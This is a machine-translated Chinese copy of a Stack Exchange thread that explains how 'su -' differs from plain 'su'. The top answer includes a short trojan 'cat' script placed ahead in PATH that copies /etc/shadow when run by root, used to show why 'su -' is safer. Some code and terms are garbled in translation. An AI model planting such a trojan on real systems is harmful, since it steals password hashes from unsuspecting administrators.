为什么我们使用su-而不仅仅是su?


Answers:


240

su -切换用户后调用登录外壳程序。登录shell会重置大多数环境变量,从而提供一个干净的基础。

su 只需切换用户,即可为普通外壳提供与旧用户几乎相同的环境。

想象一下,您是一名软件开发人员,对用户具有正常的计算机访问权限,而您无知的管理员将不会授予您root访问权限。让我们(希望)欺骗他。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

现在,您问您的管理员为什么您不能cat在主文件夹中创建虚拟文件,它根本无法工作!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

如果您的管理员不那么聪明或有点懒,他可能会来您的办公桌前尝试使用其超级用户功能:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

哇!谢谢,超级管理员!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

呵呵。

您可能会注意到损坏的$PATH变量没有被重置。如果管理员su -改为调用,则不会发生这种情况。


10
su --与相同su
Mikel

12
-是一个标志,大多数程序将其解释为“在此之后什么都不应视为标志”。用来处理以破折号开头的内容很有用。
David Mackintosh'2

2
不要忘了设置一个umask类似000的数字,否则它将不起作用。
Lekensteyn

10
最好只是将su文件放在PATH中。模仿real的行为并不难su。超级用户已经粗心反正:-)
斯特凡希门尼斯

10
su --不同于su -::--告诉getopt(s)(或类似的)选项处理程序停止处理命令行的其他选项(例如,如果其余部分包含可以以'-'开头的文件名,则使用full)。即,在“ rm -i--f”中:-f然后被视为常规参数,因此这里是to 的文件名rm -i,而不是命令的附加-f选项rmsu --就是这样su,不是su -su --对于wag的(有趣而有启发性的)示例givan来说,这将是不安全的。使用su -
奥利维尔·杜拉克

35

su -完全以root用户身份登录,而以root用户身份登录su

最明显的例子~是使用root的主目录su -,但是使用自己的主目录su

根据您的系统,这也可能意味着提示PATH,或历史记录文件中的差异。

因此,如果您是一个管理系统的团队的一员,并且您的同事为您提供了一个运行命令,那么您知道如果两者都在使用su -,它的工作原理是一样的,但是,如果您俩都在使用su,则可能会有差异不同的外壳配置。

另一方面,如果您想以根用户身份但使用自己的配置来运行命令,则可能su对您更好。

也不要忘记sudo,它具有-s启动以root身份运行的shell 的选项。当然,这也有不同的规则,它们会根据您使用的发行版而变化。


1
当我“ su”时,我得到〜和$ HOME都评估为/ root。您描述的行为是特定于某些Shell或OS版本还是某些东西?我的理解是〜可以被内核扩展。我有zsh作为我的(和root的)shell。
JasonWoof 2011年

您的.bashrcor /etc/bashrc/etc/profile.d脚本正在设置PATH。寻找if [ $UID -eq 0 ]或类似的东西。
Mikel

$USER例如保持不变。
彼得2014年

1
sudo su
Simon Kuang 2014年

1
您的示例对我不起作用。我得到以任何一种方式解析的相同目录。
Daniel W.

1

我使用su-当我以常规用户身份进入目录但要切换到root并在切换后保留在同一目录中时。当您使用su-时,它会将用户切换到root用户,并且还将您带到/ root,即根主目录。


/定义为根目录的主目录
Jeff Schaller

-1

主要区别在于:

su - username 将shell环境设置为好像是指定用户的干净登录名一样,它可以访问和使用指定用户的环境变量,

su username 只需使用指定用户的当前环境设置启动shell。

如果未使用su和指定用户名su -,则默认隐含根帐户。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.